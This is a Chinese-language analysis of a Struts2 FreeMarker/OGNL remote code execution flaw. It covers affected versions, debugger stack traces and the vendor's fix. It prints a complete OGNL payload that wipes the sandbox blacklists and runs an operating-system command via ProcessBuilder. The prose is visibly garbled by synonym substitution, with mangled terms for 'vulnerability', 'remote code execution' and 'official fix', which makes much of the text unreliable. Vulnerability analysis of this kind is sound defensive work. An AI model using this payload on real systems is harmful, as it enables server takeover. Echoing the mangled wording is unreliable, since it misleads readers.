破绽漏洞bug概述
破绽漏洞bug范例
长途代码履行破绽漏洞bug
CVE-ID
CVE-2017-1000112
迫害品级
高危
影响版本
Struts 2.0.1Struts 2.3.33Struts 2.5 – Struts 2.5.10
破绽漏洞bug迫害
当开发者在Freemarker标签中应用以下代码时<@s.hidden name=”redirectUri” value=redirectUri /><@s.hidden name=”redirectUri” value=”${redirectUri}” />Freemarker会将值当成表达式停止履行,末了招致代码履行。
poc示例
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/usr/bin/touch /tmp/vuln').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
poc调试
简略浏览poc后,按照惯例,将断点打在ProcessBuilder类的start()办法
//java.lang.ProcessBuilder
public Process start() throws IOException {
// Must convert to array first -- a malicious user-supplied
// list might try to circumvent the security check.
String[] cmdarray = command.toArray(new String[command.size()]);
cmdarray = cmdarray.clone();
for (String arg : cmdarray)
if (arg == null)
throw new NullPointerException();
// Throws IndexOutOfBoundsException if command is empty
String prog = cmdarray[0];
SecurityManager security = System.getSecurityManager();
if (security != null)
security.checkExec(prog);
String dir = directory == null ? null : directory.toString();
for (int i = 1; i < cmdarray.length; i++) {
if (cmdarray[i].indexOf('\u0000') >= 0) {
throw new IOException("invalid null character in command");
}
}
try {
return ProcessImpl.start(cmdarray,
environment,
dir,
redirects,
redirectErrorStream);
} catch (IOException | IllegalArgumentException e) {
String exceptionInfo = ": " + e.getMessage();
Throwable cause = e;
if ((e instanceof IOException) && security != null) {
// Can not disclose the fail reason for read-protected files.
try {
security.checkRead(prog);
"qtp407997647-16@2296" prio=5 tid=0x10 nid=NA runnable
java.lang.Thread.State: RUNNABLE
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1007)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at ognl.OgnlRuntime.invokeMethod(OgnlRuntime.java:873)
- locked <0x1393> (a java.lang.reflect.Method)
at ognl.OgnlRuntime.callAppropriateMethod(OgnlRuntime.java:1539)
at ognl.ObjectMethodAccessor.callMethod(ObjectMethodAccessor.java:68)
at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethodWithDebugInfo(XWorkMethodAccessor.java:96)
at com.opensymphony.xwork2.ognl.accessor.XWorkMethodAccessor.callMethod(XWorkMethodAccessor.java:88)
at ognl.OgnlRuntime.callMethod(OgnlRuntime.java:1615)
at ognl.ASTMethod.getValueBody(ASTMethod.java:91)
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
at ognl.SimpleNode.getValue(SimpleNode.java:258)
at ognl.ASTChain.getValueBody(ASTChain.java:141)
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
at ognl.SimpleNode.getValue(SimpleNode.java:258)
at ognl.ASTAssign.getValueBody(ASTAssign.java:52)
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
at ognl.SimpleNode.getValue(SimpleNode.java:258)
at ognl.ASTChain.getValueBody(ASTChain.java:141)
at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212)
at ognl.SimpleNode.getValue(SimpleNode.java:258)
at ognl.Ognl.getValue(Ognl.java:467)
at com.opensymphony.xwork2.ognl.OgnlUtil$4.execute(OgnlUtil.java:359)
at com.opensymphony.xwork2.ognl.OgnlUtil.compileAndExecute(OgnlUtil.java:382)
at com.opensymphony.xwork2.ognl.OgnlUtil.getValue(OgnlUtil.java:357)
at com.opensymphony.xwork2.ognl.OgnlValueStack.getValue(OgnlValueStack.java:360)
at com.opensymphony.xwork2.ognl.OgnlValueStack.tryFindValue(OgnlValueStack.java:348)
at com.opensymphony.xwork2.ognl.OgnlValueStack.tryFindValueWhenExpressionIsNotNull(OgnlValueStack.java:323)
at com.opensymphony.xwork2.ognl.OgnlValueStack.findValue(OgnlValueStack.java:307)
at com.opensymphony.xwork2.ognl.OgnlValueStack.findValue(OgnlValueStack.java:368)
{C} at com.opensymphony.xwork2.interceptor.StaticParametersInterceptor.intercept(StaticParametersInterceptor.java:192)
//org.apache.struts2.components.component
/
Evaluates the OGNL stack to find an Object of the given type. Will evaluate
expr the portion wrapped with altSyntax (%{...})
against stack when altSyntax is on, else the whole expr
is evaluated against the stack.
This method only supports the altSyntax. So this should be set to true.
@param expr OGNL expression.
@param toType the type expected to find.
@return the Object found, or null if not found.
//com.opensymphony.xwork2.ognl.OgnlValueStack
@Inject
public void setOgnlUtil(OgnlUtil ognlUtil) {
this.ognlUtil = ognlUtil;
securityMemberAccess.setExcludedClasses(ognlUtil.getExcludedClasses());
securityMemberAccess.setExcludedPackageNamePatterns(ognlUtil.getExcludedPackageNamePatterns());
securityMemberAccess.setExcludedPackageNames(ognlUtil.getExcludedPackageNames());
securityMemberAccess.setDisallowProxyMemberAccess(ognlUtil.isDisallowProxyMemberAccess());
}
但是,道高一尺,魔高一丈,以彼之矛攻彼之盾。咱们间接把用ognl把黑名单给删了。所有的类都能够无阻畅通的结构和履行办法。
(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
民间修复
民间的修复办法非常奇妙,并无去增长额定的过滤咱们看一下2.5.10的代码
//com.opensymphony.xwork2.ognl.OgnlUtil
@Inject(value = XWorkConstants.OGNL_EXCLUDED_PACKAGE_NAMES, required = false)
public void setExcludedPackageNames(String commaDelimitedPackageNames) {
excludedPackageNames = TextParseUtil.commaDelimitedStringToSet(commaDelimitedPackageNames);
}
和2.5.12的代码
//com.opensymphony.xwork2.ognl.OgnlUtil
@Inject(value = XWorkConstants.OGNL_EXCLUDED_PACKAGE_NAMES, required = false)
public void setExcludedPackageNames(String commaDelimitedPackageNames) {
excludedPackageNames = Collections.unmodifiableSet(TextParseUtil.commaDelimitedStringToSet(commaDelimitedPackageNames));
}
再回想咱们绕过黑名单的代码
#ognlUtil.getExcludedPackageNames().clear()
struts2针对这类舞弊的办法,将excludedPackageNames设为了UnmodifiableSet范例的工具,在这个工具上挪用clear()办法,就会抛出java.lang.UnsupportedOperationException范例的非常,法式进入非常处置分支,防止了后续歹意代码的履行
总结
这个破绽漏洞bug呈现的前提比拟刻薄,必要应用struts2和freemarker,并且必要编码职员有疏漏。但是这并不会转变这是一个高危破绽漏洞bug的现实。一旦网站被发现了这个破绽漏洞bug,效果将是劫难性的。倡议struts2应用者照样尽快进级版本。